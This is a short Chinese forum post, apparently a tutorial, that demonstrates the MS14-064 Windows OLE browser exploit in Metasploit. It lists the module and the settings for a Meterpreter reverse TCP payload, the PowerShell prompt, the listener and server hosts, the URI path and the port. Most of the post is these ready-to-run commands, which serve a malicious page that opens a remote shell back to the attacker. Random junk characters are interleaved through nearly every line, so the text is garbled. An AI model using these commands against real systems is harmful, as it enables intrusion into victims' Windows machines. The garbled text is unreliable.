, [: d; z3 O8 m# W6 ?( M 我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示" ]5 q7 H) N( j8 p6 O
; E4 b) k& a# ?$ `( G n
2 p# S. x: R4 R, \ 开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图：
, C7 w" o; ]* g% i* g5 e
" m3 b# z1 S; d7 I. p
) `9 v; o/ N" ~& S 然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp
2 m+ M o" {- ^5 p6 R* a2 I
& v, D5 \. S4 `$ K- v# A' C8 F/ r1 U. l1 ~3 h" k s# K$ s
set AllowPowershellPrompt true
% E) Z3 H( l3 O9 P, j
8 J7 b5 W% F% r* k4 F
9 t. d! t! Z: _# V6 f- j4 y Set LHOST 192.168.0.109
7 W: y) L6 K8 P T/ m* R
9 W# h/ l# I# |9 S7 e' q: H# A8 t1 l+ F. A% X$ ?
set SRVHOST 192.168.0.109# R: J) U1 e) {( M' R
5 O: p& }& }" g; H7 _! v( b. t) Z0 u- X8 T
Set uripath share4 W# U" S9 k! V. B4 O2 n
+ R& |$ W) g3 A' v( }' b; F
" m" i, n. I; X; z. {+ A Set srvport 80/ h1 z/ J0 N. K3 F
( w/ p5 P6 p' m2 c$ i% c! W
7 [1 |" w( Y6 Y5 _! f 
% A/ a% _- d, P4 V% m% B
5 \1 G7 w/ o. X; z: ?7 r5 }* V% q' z
. `! W( v3 t3 W6 L
5 m3 \9 ~7 H% }/ Z( f! {3 K6 l& R
( @9 V. R" S( Y0 ^9 W, v9 u
, T+ T6 V& o, y
. p' d9 L+ c5 [: S; Y
6 V2 O% R# S1 M, o' c/ ]. N$ q) s/ }5 V+ \' b R
! J% q2 V" G, L+ d5 M! U
u( N3 F6 G9 c* @; K
" K; _4 U) [4 f0 @
" J6 A& B0 V) ?1 r; M+ u
% D( B( V1 e# X8 D# I# \
" N4 z7 P8 L" d: y* L! ] 下面我们来访问本地地址如图：% Q' ?: r0 N4 w6 |: ]5 _
* I- C. Q, a8 |" Q
* F5 e0 j! m8 @' @* q " H& h0 q1 z: W" F
$ s4 q0 K7 ?! B' k X8 K1 r/ _
* l. p1 s' e; B5 f @
& k. o' F: ]$ X2 v8 `7 T C
1 R1 N: m: d8 t0 x2 H3 t4 Z3 C
. F( f4 Q6 g. u- o! R5 g! Y 
5 K- o$ \) i+ B$ x; C* q/ D
发表于 2018-10-20 20:20:35
收藏
支持
反对